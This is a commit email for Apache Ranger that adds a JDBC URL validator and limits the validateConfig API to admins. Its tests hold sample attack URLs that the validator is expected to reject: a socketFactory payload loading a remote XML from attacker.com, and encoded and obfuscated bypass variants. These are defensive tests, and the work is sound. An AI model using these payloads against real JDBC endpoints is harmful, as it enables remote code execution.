This is an automated email from the ASF dual-hosted git repository.
pradeepagrawal8184 pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/ranger.git
The following commit(s) were added to refs/heads/master by this push:
new ab2b3cf00 RANGER-5567: allow validateConfig API available only for
users with Ranger admin role (#931)
ab2b3cf00 is described below
commit ab2b3cf00a51517c2308dff07a8e3c8e1f068a18
Author: Vyom Mani Tiwari <[email protected]>
AuthorDate: Wed Jun 17 14:23:48 2026 +0530
RANGER-5567: allow validateConfig API available only for users with Ranger
admin role (#931)
---
.../ranger/services/hive/client/HiveClient.java | 1 +
.../services/hive/client/JdbcUrlValidator.java | 120 ++++++
.../services/hive/client/JdbcUrlValidatorTest.java | 422 +++++++++++++++++++++
.../java/org/apache/ranger/rest/ServiceREST.java | 5 +
.../ranger/security/context/RangerAPIMapping.java | 2 +-
.../org/apache/ranger/rest/TestServiceREST.java | 16 +-
6 files changed, 564 insertions(+), 2 deletions(-)
diff --git
a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
index f391f66fb..a29887a44 100644
---
a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
+++
b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
@@ -673,6 +673,7 @@ private void initConnection(String userName, String
password) throws HadoopExcep
String driverClassName =
prop.getProperty("jdbc.driverClassName");
String url = prop.getProperty("jdbc.url");
+ JdbcUrlValidator.validate(url);
if (driverClassName != null) {
try {
Driver driver = (Driver)
Class.forName(driverClassName).newInstance();
diff --git
a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java
b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java
new file mode 100644
index 000000000..091ba1d15
--- /dev/null
+++
b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java
@@ -0,0 +1,120 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.ranger.services.hive.client;
+
+import org.apache.ranger.plugin.client.HadoopException;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.net.URLDecoder;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
+
+public final class JdbcUrlValidator {
+ private static final Logger LOG =
LoggerFactory.getLogger(JdbcUrlValidator.class);
+ private static final Set<String> BLOCKED_PARAMS =
Collections.unmodifiableSet(
+ new HashSet<>(Arrays.asList(
+ "socketfactory", "socketfactoryarg", "sslfactory",
"sslfactoryarg",
+ "sslhostnameverifier", "authenticationpluginclassname",
"loggerclassname",
+ "kerberosservername", "gssdelegatecred",
"sslpasswordcallback")));
+ private static final String[] DANGEROUS_PATTERNS = {"socketfactory",
"sslfactory", "autodeserialize"};
+
+ private JdbcUrlValidator() {
+ }
+
+ public static void validate(String jdbcUrl) throws HadoopException {
+ if (jdbcUrl == null || jdbcUrl.trim().isEmpty()) {
+ HadoopException e = new HadoopException("jdbc.url must not be null
or empty");
+ e.generateResponseDataMap(false, "Validation failed", "jdbc.url is
required",
+ null, "jdbc.url");
+ throw e;
+ }
+ String trimmed = jdbcUrl.trim();
+ int queryStart = findQueryStart(trimmed);
+ if (queryStart != -1) {
+ String queryString = trimmed.substring(queryStart + 1);
+ validateQueryString(queryString, trimmed);
+ }
+ LOG.debug("jdbc.url passed validation: {}", sanitizeForLog(trimmed));
+ }
+
+ private static void validateQueryString(String queryString, String
fullUrl) throws HadoopException {
+ String[] tokens = queryString.split("[&;?]");
+ for (String token : tokens) {
+ if (token.trim().isEmpty()) {
+ continue;
+ }
+ int eqIdx = token.indexOf('=');
+ String paramName = (eqIdx >= 0 ? token.substring(0, eqIdx) :
token).trim();
+ String decodedParamName = paramName;
+ try {
+ decodedParamName = URLDecoder.decode(paramName,
StandardCharsets.UTF_8);
+ } catch (Exception e) {
+ LOG.warn("Failed to decode parameter name: {}", paramName);
+ }
+
+ String normalized =
decodedParamName.toLowerCase().trim().replaceAll("[._-]", "");
+ if (BLOCKED_PARAMS.contains(normalized)) {
+ logAndThrow("blocked parameter", normalized, paramName,
fullUrl);
+ }
+ for (String danger : DANGEROUS_PATTERNS) {
+ if (normalized.contains(danger)) {
+ logAndThrow("dangerous pattern '" + danger + "'",
normalized, paramName, fullUrl);
+ }
+ }
+ if (normalized.contains("factory") &&
(normalized.contains("socket") || normalized.contains("ssl") ||
+ normalized.contains("connection") ||
normalized.contains("auth") ||
+ normalized.contains("driver") ||
normalized.contains("datasource"))) {
+ logAndThrow("potentially dangerous factory parameter",
normalized, paramName, fullUrl);
+ }
+ }
+ }
+
+ static String sanitizeForLog(String url) {
+ if (url == null) {
+ return "<null>";
+ }
+ int idx = findQueryStart(url);
+ return idx >= 0 ? url.substring(0, idx) + "?<params_redacted>" : url;
+ }
+
+ private static int findQueryStart(String url) {
+ int qIdx = url.indexOf('?');
+ int sIdx = url.indexOf(';');
+ if (qIdx >= 0 && sIdx >= 0) {
+ return Math.min(qIdx, sIdx);
+ } else if (qIdx >= 0) {
+ return qIdx;
+ } else if (sIdx >= 0) {
+ return sIdx;
+ }
+ return -1;
+ }
+
+ private static void logAndThrow(String reason, String normalized, String
originalParam, String fullUrl) {
+ LOG.warn("Rejected jdbc.url containing {} '{}' (param='{}'): {}",
reason, normalized, originalParam, sanitizeForLog(fullUrl));
+ HadoopException e = new HadoopException("jdbc.url contains a
prohibited parameter: '" + originalParam +
+ "'. This parameter is not permitted for security reasons.");
+ e.generateResponseDataMap(false, "Invalid jdbc.url parameter",
"Parameter '" +
+ originalParam + "' is blocked", null, "jdbc.url");
+ throw e;
+ }
+}
diff --git
a/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java
b/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java
new file mode 100644
index 000000000..7ff6f473e
--- /dev/null
+++
b/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java
@@ -0,0 +1,422 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package org.apache.ranger.services.hive.client;
+
+import org.apache.ranger.plugin.client.HadoopException;
+import org.junit.jupiter.api.DisplayName;
+import org.junit.jupiter.api.Nested;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.params.ParameterizedTest;
+import org.junit.jupiter.params.provider.ValueSource;
+
+import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+class JdbcUrlValidatorTest {
+ @Nested
+ @DisplayName("Valid JDBC URLs")
+ class ValidUrls {
+ @Test
+ @DisplayName("Simple JDBC URL without parameters")
+ void simpleUrlWithoutParameters() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default"));
+ }
+
+ @Test
+ @DisplayName("URL with safe parameters")
+ void urlWithSafeParameters() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://host:10000/db?user=test&password=secret&ssl=true"));
+ }
+
+ @Test
+ @DisplayName("URL with Kerberos parameters")
+ void urlWithKerberosParameters() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://host:10000/default?principal=hive/host@REALM;auth=kerberos"));
+ }
+
+ @Test
+ @DisplayName("PostgreSQL URL with safe parameters")
+ void postgresqlUrlWithSafeParameters() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:postgresql://localhost:5432/db?user=test&ssl=true"));
+ }
+
+ @Test
+ @DisplayName("URL with leading/trailing whitespace")
+ void urlWithWhitespace() {
+ assertDoesNotThrow(() -> JdbcUrlValidator.validate("
jdbc:hive2://host:10000/db "));
+ }
+ }
+
+ @Nested
+ @DisplayName("Blocked Parameters - Exact Matches")
+ class BlockedParameters {
+ @ParameterizedTest(name = "blocked parameter: {0}")
+ @ValueSource(strings = {
+ "socketfactory", "socketfactoryarg", "sslfactory",
"sslfactoryarg",
+ "sslhostnameverifier", "authenticationpluginclassname",
"loggerclassname",
+ "kerberosservername", "gssdelegatecred", "sslpasswordcallback"
+ })
+ @DisplayName("Rejects exact blocked parameter names")
+ void rejectsExactBlockedParameters(String blockedParam) {
+ String url = "jdbc:hive2://host:10000/db?" + blockedParam +
"=malicious";
+ HadoopException exception = assertThrows(HadoopException.class, ()
-> JdbcUrlValidator.validate(url));
+ assertTrue(exception.getMessage().contains("prohibited
parameter"));
+ assertTrue(exception.getMessage().contains(blockedParam));
+ }
+
+ @Test
+ @DisplayName("Rejects socketFactory with Spring
ClassPathXmlApplicationContext (original CVE)")
+ void rejectsOriginalCvePayload() {
+ String url = "jdbc:postgresql://127.0.0.1:5432/x" +
+
"?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext"
+
+ "&socketFactoryArg=http://attacker.com/evil.xml";
+ HadoopException exception = assertThrows(HadoopException.class, ()
-> JdbcUrlValidator.validate(url));
+ assertTrue(exception.getMessage().contains("prohibited
parameter"));
+ }
+ }
+
+ @Nested
+ @DisplayName("Dangerous Pattern Detection")
+ class DangerousPatterns {
+ @ParameterizedTest(name = "dangerous pattern: {0}")
+ @ValueSource(strings = {
+ "socketfactory", "sslfactory", "autodeserialize"
+ })
+ @DisplayName("Rejects parameters containing dangerous patterns")
+ void rejectsDangerousPatterns(String pattern) {
+ String url = "jdbc:hive2://host:10000/db?custom" + pattern +
"=malicious";
+ HadoopException exception = assertThrows(HadoopException.class, ()
-> JdbcUrlValidator.validate(url));
+ assertTrue(exception.getMessage().contains("prohibited
parameter"));
+ }
+
+ @Test
+ @DisplayName("Rejects MySQL autoDeserialize parameter")
+ void rejectsMysqlAutoDeserialize() {
+ String url =
"jdbc:mysql://host:3306/db?customautodeserialize=true";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+ }
+
+ @Nested
+ @DisplayName("Factory Pattern Detection")
+ class FactoryPatterns {
+ @ParameterizedTest(name = "factory pattern: {0}")
+ @ValueSource(strings = {
+ "customsocketfactory", "mysslconnectionfactory", "authfactory",
+ "driverfactory", "datasourcefactory"
+ })
+ @DisplayName("Rejects factory-related parameters")
+ void rejectsFactoryParameters(String factoryParam) {
+ String url = "jdbc:postgresql://host:5432/db?" + factoryParam +
"=com.evil.Factory";
+ HadoopException exception = assertThrows(HadoopException.class, ()
-> JdbcUrlValidator.validate(url));
+ assertTrue(exception.getMessage().contains("prohibited
parameter"));
+ }
+
+ @Test
+ @DisplayName("Allows non-dangerous factory parameters")
+ void allowsNonDangerousFactory() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://host:10000/db?factory=simple&timeout=30"));
+ }
+ }
+
+ @Nested
+ @DisplayName("URL Encoding Bypass Prevention")
+ class EncodingBypassPrevention {
+ @Test
+ @DisplayName("Rejects URL-encoded socketFactory (%46 = F)")
+ void rejectsUrlEncodedSocketFactory() {
+ String url =
"jdbc:hive2://host:10000/db?socket%46actory=malicious";
+ HadoopException exception = assertThrows(HadoopException.class, ()
-> JdbcUrlValidator.validate(url));
+ assertTrue(exception.getMessage().contains("prohibited
parameter"));
+ }
+
+ @ParameterizedTest(name = "encoded parameter: {0}")
+ @ValueSource(strings = {
+ "socket%46actory", // %46 = 'F'
+ "socket%66actory", // %66 = 'f'
+ "%73ocketfactory", // %73 = 's'
+ "ssl%46actory", // SSL factory with encoded F
+ "%73sl%46actory" // Multiple encoded characters
+ })
+ @DisplayName("Rejects various URL encoding bypass attempts")
+ void rejectsEncodedBypassAttempts(String encodedParam) {
+ String url = "jdbc:postgresql://host:5432/db?" + encodedParam +
"=malicious";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+
+ @Test
+ @DisplayName("Handles malformed URL encoding gracefully")
+ void handlesMalformedEncoding() {
+ String url = "jdbc:hive2://host:10000/db?socket%ZZfactory=test";
+ assertDoesNotThrow(() -> {
+ try {
+ JdbcUrlValidator.validate(url);
+ } catch (HadoopException e) {
+ assertTrue(e.getMessage().contains("prohibited
parameter"));
+ }
+ });
+ }
+ }
+
+ @Nested
+ @DisplayName("Case Sensitivity")
+ class CaseSensitivity {
+ @ParameterizedTest(name = "case variant: {0}")
+ @ValueSource(strings = {
+ "SOCKETFACTORY", "SocketFactory", "socketFactory",
+ "SSLFACTORY", "SslFactory", "sslFactory"
+ })
+ @DisplayName("Rejects parameters regardless of case")
+ void rejectsParametersRegardlessOfCase(String paramName) {
+ String url = "jdbc:hive2://host:10000/db?" + paramName +
"=malicious";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+
+ @Test
+ @DisplayName("Handles mixed case with encoding")
+ void handlesMixedCaseWithEncoding() {
+ String url =
"jdbc:hive2://host:10000/db?Socket%46actory=malicious";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+ }
+
+ @Nested
+ @DisplayName("Parameter Separator Handling")
+ class ParameterSeparators {
+ @Test
+ @DisplayName("Handles & separator")
+ void handlesAmpersandSeparator() {
+ String url =
"jdbc:hive2://host:10000/db?user=test&socketfactory=evil&ssl=true";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+
+ @Test
+ @DisplayName("Handles ; separator")
+ void handlesSemicolonSeparator() {
+ String url =
"jdbc:hive2://host:10000/db?user=test;socketfactory=evil;ssl=true";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+
+ @Test
+ @DisplayName("Handles mixed separators")
+ void handlesMixedSeparators() {
+ String url =
"jdbc:hive2://host:10000/db?user=test;ssl=true&socketfactory=evil";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+
+ @Test
+ @DisplayName("Handles parameters without values")
+ void handlesParametersWithoutValues() {
+ String url =
"jdbc:hive2://host:10000/db?ssl&socketfactory&timeout=30";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+ }
+
+ @Nested
+ @DisplayName("Character Obfuscation")
+ class CharacterObfuscation {
+ @ParameterizedTest(name = "obfuscated parameter: {0}")
+ @ValueSource(strings = {
+ "socket.factory", "socket-factory", "socket_factory",
+ "ssl.factory", "ssl-factory", "ssl_factory"
+ })
+ @DisplayName("Rejects parameters with separator character obfuscation")
+ void rejectsObfuscatedParameters(String obfuscatedParam) {
+ String url = "jdbc:hive2://host:10000/db?" + obfuscatedParam +
"=malicious";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+
+ @Test
+ @DisplayName("Handles multiple obfuscation techniques")
+ void handlesMultipleObfuscation() {
+ String url =
"jdbc:hive2://host:10000/db?Socket-Factory_ARG=malicious";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+ }
+
+ @Nested
+ @DisplayName("Edge Cases and Error Conditions")
+ class EdgeCases {
+ @Test
+ @DisplayName("Rejects null URL")
+ void rejectsNullUrl() {
+ HadoopException exception = assertThrows(HadoopException.class, ()
-> JdbcUrlValidator.validate(null));
+ assertTrue(exception.getMessage().contains("must not be null or
empty"));
+ }
+
+ @Test
+ @DisplayName("Rejects empty URL")
+ void rejectsEmptyUrl() {
+ HadoopException exception = assertThrows(HadoopException.class, ()
-> JdbcUrlValidator.validate(""));
+ assertTrue(exception.getMessage().contains("must not be null or
empty"));
+ }
+
+ @Test
+ @DisplayName("Rejects whitespace-only URL")
+ void rejectsWhitespaceOnlyUrl() {
+ HadoopException exception = assertThrows(HadoopException.class, ()
-> JdbcUrlValidator.validate(" "));
+ assertTrue(exception.getMessage().contains("must not be null or
empty"));
+ }
+
+ @Test
+ @DisplayName("Handles URL without query parameters")
+ void handlesUrlWithoutQueryParameters() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default"));
+ }
+
+ @Test
+ @DisplayName("Handles URL with empty query string")
+ void handlesUrlWithEmptyQueryString() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default?"));
+ }
+
+ @Test
+ @DisplayName("Handles URL with only separators in query")
+ void handlesUrlWithOnlySeparators() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default?&;&;"));
+ }
+ }
+
+ @Nested
+ @DisplayName("Logging and Sanitization")
+ class LoggingAndSanitization {
+ @Test
+ @DisplayName("Sanitizes URL for logging")
+ void sanitizesUrlForLogging() {
+ String url =
"jdbc:hive2://host:10000/db?password=secret&user=test";
+ String sanitized = JdbcUrlValidator.sanitizeForLog(url);
+ assertFalse(sanitized.contains("secret"));
+ assertTrue(sanitized.contains("<params_redacted>"));
+ assertTrue(sanitized.contains("jdbc:hive2://host:10000/db"));
+ }
+
+ @Test
+ @DisplayName("Handles null URL in sanitization")
+ void handlesNullUrlInSanitization() {
+ String result = JdbcUrlValidator.sanitizeForLog(null);
+ assertEquals("<null>", result);
+ }
+
+ @Test
+ @DisplayName("Handles URL without parameters in sanitization")
+ void handlesUrlWithoutParamsInSanitization() {
+ String url = "jdbc:hive2://host:10000/db";
+ String result = JdbcUrlValidator.sanitizeForLog(url);
+ assertEquals(url, result);
+ }
+
+ @Test
+ void testSanitizeForLogWithSemicolonParams() {
+ String url =
"jdbc:hive2://server:10000/db;user=admin;password=secret";
+ String result = JdbcUrlValidator.sanitizeForLog(url);
+ assertEquals("jdbc:hive2://server:10000/db?<params_redacted>",
result);
+ }
+
+ @Test
+ void testSanitizeForLogWithQuestionMarkParams() {
+ String url =
"jdbc:hive2://server:10000/db?user=admin&password=secret";
+ String result = JdbcUrlValidator.sanitizeForLog(url);
+ assertEquals("jdbc:hive2://server:10000/db?<params_redacted>",
result);
+ }
+
+ @Test
+ void testSanitizeForLogWithMixedSeparators() {
+ String url =
"jdbc:hive2://server:10000/db;ssl=true?socketFactory=evil";
+ String result = JdbcUrlValidator.sanitizeForLog(url);
+ assertEquals("jdbc:hive2://server:10000/db?<params_redacted>",
result);
+ }
+ }
+
+ @Nested
+ @DisplayName("Mixed Parameter Delimiters")
+ class MixedDelimiters {
+ @Test
+ @DisplayName("Blocks dangerous param in semicolon when ? appears
later")
+ void blocksSemicolonBeforeQuestion() {
+ String url =
"jdbc:hive2://host:10000/db;socketFactory=evil?user=test";
+ HadoopException ex = assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ assertTrue(ex.getMessage().contains("socketFactory"));
+ }
+
+ @Test
+ @DisplayName("Blocks dangerous param in question mark when ; appears
later")
+ void blocksQuestionBeforeSemicolon() {
+ String url =
"jdbc:hive2://host:10000/db?socketFactory=evil;user=test";
+ HadoopException ex = assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ assertTrue(ex.getMessage().contains("socketFactory"));
+ }
+
+ @Test
+ @DisplayName("Handles semicolon-only Hive URLs")
+ void handlesSemicolonOnly() {
+ String url = "jdbc:hive2://host:10000/db;socketFactory=evil";
+ HadoopException ex = assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ assertTrue(ex.getMessage().contains("socketFactory"));
+ }
+
+ @Test
+ @DisplayName("Handles question-only URLs")
+ void handlesQuestionOnly() {
+ String url = "jdbc:hive2://host:10000/db?socketFactory=evil";
+ HadoopException ex = assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ assertTrue(ex.getMessage().contains("socketFactory"));
+ }
+ }
+
+ @Nested
+ @DisplayName("Integration Tests")
+ class IntegrationTests {
+ @Test
+ @DisplayName("Complex malicious URL with multiple attack vectors")
+ void complexMaliciousUrl() {
+ String url = "jdbc:postgresql://evil.com:5432/db" +
+ "?user=admin&password=secret" +
+
"&socket%46actory=org.springframework.context.support.ClassPathXmlApplicationContext"
+
+ "&socketFactoryArg=http://attacker.com/evil.xml" +
+ "&SSL-Factory=com.evil.SSLFactory" +
+ "&custom_autodeserialize=true";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+
+ @Test
+ @DisplayName("Real-world Hive URL with safe parameters")
+ void realWorldHiveUrl() {
+ String url = "jdbc:hive2://hive-server:10000/warehouse" +
+ "?principal=hive/[email protected]" +
+ ";auth=kerberos" +
+ ";ssl=true" +
+ ";sslTrustStore=/etc/hive/truststore.jks" +
+ ";transportMode=http" +
+ ";httpPath=cliservice";
+ assertDoesNotThrow(() -> JdbcUrlValidator.validate(url));
+ }
+
+ @Test
+ @DisplayName("PostgreSQL URL with safe SSL parameters")
+ void postgresqlSafeUrl() {
+ String url = "jdbc:postgresql://pg-server:5432/mydb" +
+ "?user=admin&password=secret&ssl=true&sslmode=require";
+ assertDoesNotThrow(() -> JdbcUrlValidator.validate(url));
+ }
+ }
+}
diff --git
a/security-admin/src/main/java/org/apache/ranger/rest/ServiceREST.java
b/security-admin/src/main/java/org/apache/ranger/rest/ServiceREST.java
index 53dcbd6ee..2cd449cba 100644
--- a/security-admin/src/main/java/org/apache/ranger/rest/ServiceREST.java
+++ b/security-admin/src/main/java/org/apache/ranger/rest/ServiceREST.java
@@ -196,6 +196,7 @@ public class ServiceREST {
public static final String PURGE_RECORD_TYPE_LOGIN_LOGS =
"login_records";
public static final String PURGE_RECORD_TYPE_TRX_LOGS =
"trx_records";
public static final String PURGE_RECORD_TYPE_POLICY_EXPORT_LOGS =
"policy_export_logs";
+ public static final String ERR_VALIDATE_CONFIG_ADMIN_ONLY = "Only
system administrators can validate service configs";
private final RangerAdminConfig config =
RangerAdminConfig.getInstance();
private final int maxPolicyNameLength =
config.getInt("ranger.policyname.maxlength", 255);
@@ -1078,6 +1079,10 @@ public VXResponse validateConfig(RangerService service) {
VXResponse ret;
RangerPerfTracer perf = null;
+ if (!bizUtil.isAdmin()) {
+ LOG.warn("Unauthorized validateConfig attempt by user: {}",
bizUtil.getCurrentUserLoginId());
+ throw
restErrorUtil.createRESTException(HttpServletResponse.SC_FORBIDDEN,
ERR_VALIDATE_CONFIG_ADMIN_ONLY, true);
+ }
try {
if (RangerPerfTracer.isPerfTraceEnabled(PERF_LOG)) {
perf = RangerPerfTracer.getPerfTracer(PERF_LOG,
"ServiceREST.validateConfig(serviceName=" + service.getName() + ")");
diff --git
a/security-admin/src/main/java/org/apache/ranger/security/context/RangerAPIMapping.java
b/security-admin/src/main/java/org/apache/ranger/security/context/RangerAPIMapping.java
index 1c4ee1183..997e5fd35 100644
---
a/security-admin/src/main/java/org/apache/ranger/security/context/RangerAPIMapping.java
+++
b/security-admin/src/main/java/org/apache/ranger/security/context/RangerAPIMapping.java
@@ -344,6 +344,7 @@ private void mapUGWithAPIs() {
apiAssociatedWithUserAndGroups.add(RangerAPIList.SECURE_GET_X_USER);
apiAssociatedWithUserAndGroups.add(RangerAPIList.UPDATE_X_AUDIT_MAP);
apiAssociatedWithUserAndGroups.add(RangerAPIList.UPDATE_X_PERM_MAP);
+ apiAssociatedWithUserAndGroups.add(RangerAPIList.VALIDATE_CONFIG);
apiAssociatedWithUserAndGroups.add(RangerAPIList.CREATE);
apiAssociatedWithUserAndGroups.add(RangerAPIList.CREATE_DEFAULT_ACCOUNT_USER);
@@ -466,7 +467,6 @@ private void mapResourceBasedPoliciesWithAPIs() {
apiAssociatedWithRBPolicies.add(RangerAPIList.LOOKUP_RESOURCE);
apiAssociatedWithRBPolicies.add(RangerAPIList.UPDATE_SERVICE);
apiAssociatedWithRBPolicies.add(RangerAPIList.UPDATE_SERVICE_DEF);
- apiAssociatedWithRBPolicies.add(RangerAPIList.VALIDATE_CONFIG);
apiAssociatedWithRBPolicies.add(RangerAPIList.GET_USER_PROFILE_FOR_USER);
apiAssociatedWithRBPolicies.add(RangerAPIList.SEARCH_USERS);
diff --git
a/security-admin/src/test/java/org/apache/ranger/rest/TestServiceREST.java
b/security-admin/src/test/java/org/apache/ranger/rest/TestServiceREST.java
index 3294548d7..0fc53d00d 100644
--- a/security-admin/src/test/java/org/apache/ranger/rest/TestServiceREST.java
+++ b/security-admin/src/test/java/org/apache/ranger/rest/TestServiceREST.java
@@ -1113,12 +1113,26 @@ public void test34countServices() throws Exception {
@Test
public void test35validateConfig() throws Exception {
RangerService rangerService = rangerService();
+ Mockito.when(bizUtil.isAdmin()).thenReturn(true);
Mockito.when(serviceMgr.validateConfig(rangerService,
svcStore)).thenReturn(vXResponse);
VXResponse dbVXResponse = serviceREST.validateConfig(rangerService);
Assertions.assertNotNull(dbVXResponse);
Mockito.verify(serviceMgr).validateConfig(rangerService, svcStore);
}
+ @Test
+ public void test35ValidateConfig_NonAdminUser_ThrowsForbidden() throws
Exception {
+ RangerService rangerService = rangerService();
+ Mockito.when(bizUtil.isAdmin()).thenReturn(false);
+
Mockito.when(restErrorUtil.createRESTException(Mockito.eq(HttpServletResponse.SC_FORBIDDEN),
+ Mockito.eq(ServiceREST.ERR_VALIDATE_CONFIG_ADMIN_ONLY),
+ Mockito.eq(true))).thenReturn(new
WebApplicationException(HttpServletResponse.SC_FORBIDDEN));
+ Assertions.assertThrows(WebApplicationException.class, () ->
serviceREST.validateConfig(rangerService));
+ Mockito.verify(bizUtil).isAdmin();
+
Mockito.verify(restErrorUtil).createRESTException(HttpServletResponse.SC_FORBIDDEN,
ServiceREST.ERR_VALIDATE_CONFIG_ADMIN_ONLY, true);
+ Mockito.verify(serviceMgr,
Mockito.never()).validateConfig(Mockito.any(), Mockito.any());
+ }
+
@Test
public void test40applyPolicy() {
RangerPolicy existingPolicy = rangerPolicy();
@@ -3203,7 +3217,7 @@ public void test114CountServicesWithFilterException()
throws Exception {
@Test
public void test115ValidateConfigWithException() throws Exception {
RangerService rangerService = rangerService();
-
+ Mockito.when(bizUtil.isAdmin()).thenReturn(true);
Mockito.when(serviceMgr.validateConfig(rangerService,
svcStore)).thenThrow(new RuntimeException("Validation failed"));
Mockito.when(restErrorUtil.createRESTException(Mockito.anyString())).thenReturn(new
WebApplicationException());